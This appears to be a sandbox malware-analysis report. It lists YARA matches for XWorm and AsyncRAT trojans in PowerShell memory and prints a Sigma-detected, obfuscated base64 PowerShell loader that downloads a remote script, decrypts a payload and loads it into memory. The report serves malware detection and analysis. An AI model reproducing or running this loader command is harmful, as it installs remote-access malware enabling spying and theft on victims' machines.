28.2.powershell.exe.206008f65a0.7.raw.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x60ab:$str01: $VB$Local_Port 0x609c:$str02: $VB$Local_Host 0x6380:$str03: get_Jpeg 0x5ddd:$str04: get_ServicePack 0x6e7c:$str05: Select * from AntivirusProduct 0x707a:$str06: PCRestart 0x708e:$str07: shutdown.exe /f /r /t 0 0x7140:$str08: StopReport 0x7116:$str09: StopDDos 0x720c:$str10: sendPlugin 0x728c:$str11: OfflineKeylogger Not Enabled 0x73e4:$str12: -ExecutionPolicy Bypass -File " 0x750d:$str13: Content-length: 5235
28.2.powershell.exe.206008f65a0.7.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6d8c:$s6: VirtualBox 0x6cea:$s8: Win32_ComputerSystem 0x75b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7653:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7768:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x7428:$cnc4: POST / HTTP/1.1
5.2.powershell.exe.1d3133ad9a0.3.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
5.2.powershell.exe.1d3133ad9a0.3.raw.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x60ab:$str01: $VB$Local_Port 0xecdb:$str01: $VB$Local_Port 0x609c:$str02: $VB$Local_Host 0xeccc:$str02: $VB$Local_Host 0x6380:$str03: get_Jpeg 0xefb0:$str03: get_Jpeg 0x5ddd:$str04: get_ServicePack 0xea0d:$str04: get_ServicePack 0x6e7c:$str05: Select * from AntivirusProduct 0xfaac:$str05: Select * from AntivirusProduct 0x707a:$str06: PCRestart 0xfcaa:$str06: PCRestart 0x708e:$str07: shutdown.exe /f /r /t 0 0xfcbe:$str07: shutdown.exe /f /r /t 0 0x7140:$str08: StopReport 0xfd70:$str08: StopReport 0x7116:$str09: StopDDos 0xfd46:$str09: StopDDos 0x720c:$str10: sendPlugin 0xfe3c:$str10: sendPlugin 0x728c:$str11: OfflineKeylogger Not Enabled
5.2.powershell.exe.1d3133ad9a0.3.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6d8c:$s6: VirtualBox 0xf9bc:$s6: VirtualBox 0x6cea:$s8: Win32_ComputerSystem 0xf91a:$s8: Win32_ComputerSystem 0x75b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x101e6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x14d3c:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7653:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x10283:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x14df4:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7768:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x10398:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x14f24:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x7428:$cnc4: POST / HTTP/1.1 0x10058:$cnc4: POST / HTTP/1.1
18.2.powershell.exe.1e1aa261880.9.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
18.2.powershell.exe.1e1aa261880.9.raw.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x60ab:$str01: $VB$Local_Port 0xecdb:$str01: $VB$Local_Port 0x609c:$str02: $VB$Local_Host 0xeccc:$str02: $VB$Local_Host 0x6380:$str03: get_Jpeg 0xefb0:$str03: get_Jpeg 0x5ddd:$str04: get_ServicePack 0xea0d:$str04: get_ServicePack 0x6e7c:$str05: Select * from AntivirusProduct 0xfaac:$str05: Select * from AntivirusProduct 0x707a:$str06: PCRestart 0xfcaa:$str06: PCRestart 0x708e:$str07: shutdown.exe /f /r /t 0 0xfcbe:$str07: shutdown.exe /f /r /t 0 0x7140:$str08: StopReport 0xfd70:$str08: StopReport 0x7116:$str09: StopDDos 0xfd46:$str09: StopDDos 0x720c:$str10: sendPlugin 0xfe3c:$str10: sendPlugin 0x728c:$str11: OfflineKeylogger Not Enabled
18.2.powershell.exe.1e1aa261880.9.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6d8c:$s6: VirtualBox 0xf9bc:$s6: VirtualBox 0x6cea:$s8: Win32_ComputerSystem 0xf91a:$s8: Win32_ComputerSystem 0x75b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x101e6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x14d3c:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7653:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x10283:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x14df4:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7768:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x10398:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x14f24:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x7428:$cnc4: POST / HTTP/1.1 0x10058:$cnc4: POST / HTTP/1.1
11.2.powershell.exe.1d7ccdde538.9.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
11.2.powershell.exe.1d7ccdde538.9.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
11.2.powershell.exe.1d7ccdde538.9.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x42ab:$str01: $VB$Local_Port 0x429c:$str02: $VB$Local_Host 0x4580:$str03: get_Jpeg 0x3fdd:$str04: get_ServicePack 0x507c:$str05: Select * from AntivirusProduct 0x527a:$str06: PCRestart 0x528e:$str07: shutdown.exe /f /r /t 0 0x5340:$str08: StopReport 0x5316:$str09: StopDDos 0x540c:$str10: sendPlugin 0x548c:$str11: OfflineKeylogger Not Enabled 0x55e4:$str12: -ExecutionPolicy Bypass -File " 0x570d:$str13: Content-length: 5235
11.2.powershell.exe.1d7ccdde538.9.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x4f8c:$s6: VirtualBox 0x4eea:$s8: Win32_ComputerSystem 0x57b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x5853:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x5968:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x5628:$cnc4: POST / HTTP/1.1
28.2.powershell.exe.206008ed970.0.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
28.2.powershell.exe.206008ed970.0.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
28.2.powershell.exe.206008ed970.0.raw.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x60ab:$str01: $VB$Local_Port 0xecdb:$str01: $VB$Local_Port 0x609c:$str02: $VB$Local_Host 0xeccc:$str02: $VB$Local_Host 0x6380:$str03: get_Jpeg 0xefb0:$str03: get_Jpeg 0x5ddd:$str04: get_ServicePack 0xea0d:$str04: get_ServicePack 0x6e7c:$str05: Select * from AntivirusProduct 0xfaac:$str05: Select * from AntivirusProduct 0x707a:$str06: PCRestart 0xfcaa:$str06: PCRestart 0x708e:$str07: shutdown.exe /f /r /t 0 0xfcbe:$str07: shutdown.exe /f /r /t 0 0x7140:$str08: StopReport 0xfd70:$str08: StopReport 0x7116:$str09: StopDDos 0xfd46:$str09: StopDDos 0x720c:$str10: sendPlugin 0xfe3c:$str10: sendPlugin 0x728c:$str11: OfflineKeylogger Not Enabled
28.2.powershell.exe.206008ed970.0.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6d8c:$s6: VirtualBox 0xf9bc:$s6: VirtualBox 0x6cea:$s8: Win32_ComputerSystem 0xf91a:$s8: Win32_ComputerSystem 0x75b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x101e6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7653:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x10283:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7768:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x10398:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x7428:$cnc4: POST / HTTP/1.1 0x10058:$cnc4: POST / HTTP/1.1
18.2.powershell.exe.1e1aa248728.8.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
18.2.powershell.exe.1e1aa248728.8.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
18.2.powershell.exe.1e1aa248728.8.raw.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x60ab:$str01: $VB$Local_Port 0x609c:$str02: $VB$Local_Host 0x6380:$str03: get_Jpeg 0x5ddd:$str04: get_ServicePack 0x6e7c:$str05: Select * from AntivirusProduct 0x707a:$str06: PCRestart 0x708e:$str07: shutdown.exe /f /r /t 0 0x7140:$str08: StopReport 0x7116:$str09: StopDDos 0x720c:$str10: sendPlugin 0x728c:$str11: OfflineKeylogger Not Enabled 0x73e4:$str12: -ExecutionPolicy Bypass -File " 0x750d:$str13: Content-length: 5235
18.2.powershell.exe.1e1aa248728.8.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6d8c:$s6: VirtualBox 0x6cea:$s8: Win32_ComputerSystem 0x75b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7653:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7768:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x7428:$cnc4: POST / HTTP/1.1
5.2.powershell.exe.1d3133ad9a0.3.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
5.2.powershell.exe.1d3133ad9a0.3.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
5.2.powershell.exe.1d3133ad9a0.3.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x42ab:$str01: $VB$Local_Port 0x429c:$str02: $VB$Local_Host 0x4580:$str03: get_Jpeg 0x3fdd:$str04: get_ServicePack 0x507c:$str05: Select * from AntivirusProduct 0x527a:$str06: PCRestart 0x528e:$str07: shutdown.exe /f /r /t 0 0x5340:$str08: StopReport 0x5316:$str09: StopDDos 0x540c:$str10: sendPlugin 0x548c:$str11: OfflineKeylogger Not Enabled 0x55e4:$str12: -ExecutionPolicy Bypass -File " 0x570d:$str13: Content-length: 5235
5.2.powershell.exe.1d3133ad9a0.3.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x4f8c:$s6: VirtualBox 0x4eea:$s8: Win32_ComputerSystem 0x57b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x5853:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x5968:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x5628:$cnc4: POST / HTTP/1.1
11.2.powershell.exe.1d7ce2eb440.2.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
11.2.powershell.exe.1d7ce2eb440.2.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
11.2.powershell.exe.1d7ce2eb440.2.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x42ab:$str01: $VB$Local_Port 0x429c:$str02: $VB$Local_Host 0x4580:$str03: get_Jpeg 0x3fdd:$str04: get_ServicePack 0x507c:$str05: Select * from AntivirusProduct 0x527a:$str06: PCRestart 0x528e:$str07: shutdown.exe /f /r /t 0 0x5340:$str08: StopReport 0x5316:$str09: StopDDos 0x540c:$str10: sendPlugin 0x548c:$str11: OfflineKeylogger Not Enabled 0x55e4:$str12: -ExecutionPolicy Bypass -File " 0x570d:$str13: Content-length: 5235
11.2.powershell.exe.1d7ce2eb440.2.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x4f8c:$s6: VirtualBox 0x4eea:$s8: Win32_ComputerSystem 0x57b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x5853:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x5968:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x5628:$cnc4: POST / HTTP/1.1
11.2.powershell.exe.1d7e4bb0000.16.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
11.2.powershell.exe.1d7e4bb0000.16.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
11.2.powershell.exe.1d7e4bb0000.16.raw.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x60ab:$str01: $VB$Local_Port 0x609c:$str02: $VB$Local_Host 0x6380:$str03: get_Jpeg 0x5ddd:$str04: get_ServicePack 0x6e7c:$str05: Select * from AntivirusProduct 0x707a:$str06: PCRestart 0x708e:$str07: shutdown.exe /f /r /t 0 0x7140:$str08: StopReport 0x7116:$str09: StopDDos 0x720c:$str10: sendPlugin 0x728c:$str11: OfflineKeylogger Not Enabled 0x73e4:$str12: -ExecutionPolicy Bypass -File " 0x750d:$str13: Content-length: 5235
11.2.powershell.exe.1d7e4bb0000.16.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6d8c:$s6: VirtualBox 0x6cea:$s8: Win32_ComputerSystem 0x75b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7653:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7768:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x7428:$cnc4: POST / HTTP/1.1
5.2.powershell.exe.1d3133975c0.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
5.2.powershell.exe.1d3133975c0.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
5.2.powershell.exe.1d3133975c0.0.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x42ab:$str01: $VB$Local_Port 0x429c:$str02: $VB$Local_Host 0x4580:$str03: get_Jpeg 0x3fdd:$str04: get_ServicePack 0x507c:$str05: Select * from AntivirusProduct 0x527a:$str06: PCRestart 0x528e:$str07: shutdown.exe /f /r /t 0 0x5340:$str08: StopReport 0x5316:$str09: StopDDos 0x540c:$str10: sendPlugin 0x548c:$str11: OfflineKeylogger Not Enabled 0x55e4:$str12: -ExecutionPolicy Bypass -File " 0x570d:$str13: Content-length: 5235
5.2.powershell.exe.1d3133975c0.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x4f8c:$s6: VirtualBox 0x4eea:$s8: Win32_ComputerSystem 0x57b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x5853:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x5968:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x5628:$cnc4: POST / HTTP/1.1
23.2.powershell.exe.2cc07141480.1.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
23.2.powershell.exe.2cc07127e40.3.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
23.2.powershell.exe.2cc07141480.1.raw.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x60ab:$str01: $VB$Local_Port 0xecdb:$str01: $VB$Local_Port 0x609c:$str02: $VB$Local_Host 0xeccc:$str02: $VB$Local_Host 0x6380:$str03: get_Jpeg 0xefb0:$str03: get_Jpeg 0x5ddd:$str04: get_ServicePack 0xea0d:$str04: get_ServicePack 0x6e7c:$str05: Select * from AntivirusProduct 0xfaac:$str05: Select * from AntivirusProduct 0x707a:$str06: PCRestart 0xfcaa:$str06: PCRestart 0x708e:$str07: shutdown.exe /f /r /t 0 0xfcbe:$str07: shutdown.exe /f /r /t 0 0x7140:$str08: StopReport 0xfd70:$str08: StopReport 0x7116:$str09: StopDDos 0xfd46:$str09: StopDDos 0x720c:$str10: sendPlugin 0xfe3c:$str10: sendPlugin 0x728c:$str11: OfflineKeylogger Not Enabled
23.2.powershell.exe.2cc07127e40.3.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
23.2.powershell.exe.2cc07141480.1.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6d8c:$s6: VirtualBox 0xf9bc:$s6: VirtualBox 0x6cea:$s8: Win32_ComputerSystem 0xf91a:$s8: Win32_ComputerSystem 0x75b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x101e6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x14d3c:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7653:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x10283:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x14df4:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7768:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x10398:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x14f24:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x7428:$cnc4: POST / HTTP/1.1 0x10058:$cnc4: POST / HTTP/1.1
23.2.powershell.exe.2cc07127e40.3.raw.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x60ab:$str01: $VB$Local_Port 0x609c:$str02: $VB$Local_Host 0x6380:$str03: get_Jpeg 0x5ddd:$str04: get_ServicePack 0x6e7c:$str05: Select * from AntivirusProduct 0x707a:$str06: PCRestart 0x708e:$str07: shutdown.exe /f /r /t 0 0x7140:$str08: StopReport 0x7116:$str09: StopDDos 0x720c:$str10: sendPlugin 0x728c:$str11: OfflineKeylogger Not Enabled 0x73e4:$str12: -ExecutionPolicy Bypass -File " 0x750d:$str13: Content-length: 5235
23.2.powershell.exe.2cc07127e40.3.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6d8c:$s6: VirtualBox 0x6cea:$s8: Win32_ComputerSystem 0x75b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7653:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7768:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x7428:$cnc4: POST / HTTP/1.1
Click to see the 133 entries

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0P